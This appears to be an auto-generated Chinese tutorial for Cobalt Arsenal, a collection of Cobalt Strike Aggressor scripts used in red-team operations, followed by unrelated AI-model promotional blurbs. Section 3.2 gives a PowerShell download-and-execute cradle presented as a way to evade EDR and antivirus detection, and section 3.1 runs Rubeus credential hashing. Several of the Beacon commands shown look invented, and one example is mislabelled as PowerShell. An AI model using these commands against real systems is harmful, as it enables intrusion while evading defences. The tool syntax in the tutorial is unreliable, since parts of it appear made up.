Cobalt Arsenal 项目教程
1. 项目介绍
Cobalt Arsenal 是由 Mariusz Banach 开发的一个开源项目,旨在为 Cobalt Strike 提供一系列经过实战检验的 Aggressor 脚本。这些脚本极大地增强了 Cobalt Strike 的功能,使其在红队操作和对手模拟中更加灵活和高效。项目包含了超过 3300 行代码,涵盖了从 Beacon 管理到 Payload 生成等多个方面的实用工具和增强功能。
2. 项目快速启动
2.1 环境准备
在开始之前,确保你已经安装了 Cobalt Strike 4.0 或更高版本,并且熟悉基本的 Aggressor 脚本语法。
2.2 下载与安装
-
克隆项目到本地:
git clone https://github.com/mgeeky/cobalt-arsenal.git -
将项目中的
.cna脚本文件复制到 Cobalt Strike 的scripts目录下。
2.3 加载脚本
在 Cobalt Strike 中,通过 Script Manager 加载所需的 Aggressor 脚本。例如,加载 better-upload.cna:
script_import "better-upload.cna"
2.4 使用示例
以下是一个简单的使用示例,展示如何使用 better-upload.cna 脚本上传文件到目标主机:
beacon> upload /path/to/local/file.exe \\target\c$\path\to\remote\file.exe
3. 应用案例和最佳实践
3.1 案例一:自动化初始任务
使用 Beacon_Initial_Tasks.cna 脚本,可以在 Beacon 首次签到时自动执行预定义的任务。例如,设置初始任务为执行一个 PowerShell 命令:
beacon> set_initial_tasks "execute-assembly C:\\tools\\Rubeus.exe hash /password:test"
3.2 案例二:自定义 PowerShell 下载执行
使用 custom-powershell-hooks.cna 脚本,可以自定义 PowerShell 下载和执行的命令,避免被常见的 EDR 和 AV 检测:
beacon> set POWERSHELL_DOWNLOAD_CRADLE "IEX (New-Object Net.Webclient).DownloadString(' $+ $1 $+ ')"
4. 典型生态项目
4.1 Cobalt Strike 官方社区工具包
Cobalt Strike 官方提供了一个社区工具包(Community Kit),其中包含了大量由社区贡献的 Aggressor 脚本和工具,可以与 Cobalt Arsenal 结合使用,进一步提升红队操作的效率。
4.2 Outflank Security Tooling
Outflank Security Tooling 是一个精选的进攻性安全工具集,设计用于增强 Cobalt Strike 的规避能力。通过与 Cobalt Strike 结合使用,可以扩展红队操作的范围和深度。
4.3 Core Impact
Core Impact 是 Fortra 提供的一款渗透测试工具,可以与 Cobalt Strike 协同工作,共享资源并部署 Beacon 进行会话传递和隧道功能。结合使用可以提供更全面的渗透测试解决方案。
GLM-5智谱 AI 正式发布 GLM-5,旨在应对复杂系统工程和长时域智能体任务。Jinja00
GLM-5-w4a8GLM-5-w4a8基于混合专家架构,专为复杂系统工程与长周期智能体任务设计。支持单/多节点部署,适配Atlas 800T A3,采用w4a8量化技术,结合vLLM推理优化,高效平衡性能与精度,助力智能应用开发Jinja00
请把这个活动推给顶尖程序员😎本次活动专为懂行的顶尖程序员量身打造,聚焦AtomGit首发开源模型的实际应用与深度测评,拒绝大众化浅层体验,邀请具备扎实技术功底、开源经验或模型测评能力的顶尖开发者,深度参与模型体验、性能测评,通过发布技术帖子、提交测评报告、上传实践项目成果等形式,挖掘模型核心价值,共建AtomGit开源模型生态,彰显顶尖程序员的技术洞察力与实践能力。00
Kimi-K2.5Kimi K2.5 是一款开源的原生多模态智能体模型,它在 Kimi-K2-Base 的基础上,通过对约 15 万亿混合视觉和文本 tokens 进行持续预训练构建而成。该模型将视觉与语言理解、高级智能体能力、即时模式与思考模式,以及对话式与智能体范式无缝融合。Python00
MiniMax-M2.5MiniMax-M2.5开源模型,经数十万复杂环境强化训练,在代码生成、工具调用、办公自动化等经济价值任务中表现卓越。SWE-Bench Verified得分80.2%,Multi-SWE-Bench达51.3%,BrowseComp获76.3%。推理速度比M2.1快37%,与Claude Opus 4.6相当,每小时仅需0.3-1美元,成本仅为同类模型1/10-1/20,为智能应用开发提供高效经济选择。【此简介由AI生成】Python00
Qwen3.5Qwen3.5 昇腾 vLLM 部署教程。Qwen3.5 是 Qwen 系列最新的旗舰多模态模型,采用 MoE(混合专家)架构,在保持强大模型能力的同时显著降低了推理成本。00- RRing-2.5-1TRing-2.5-1T:全球首个基于混合线性注意力架构的开源万亿参数思考模型。Python00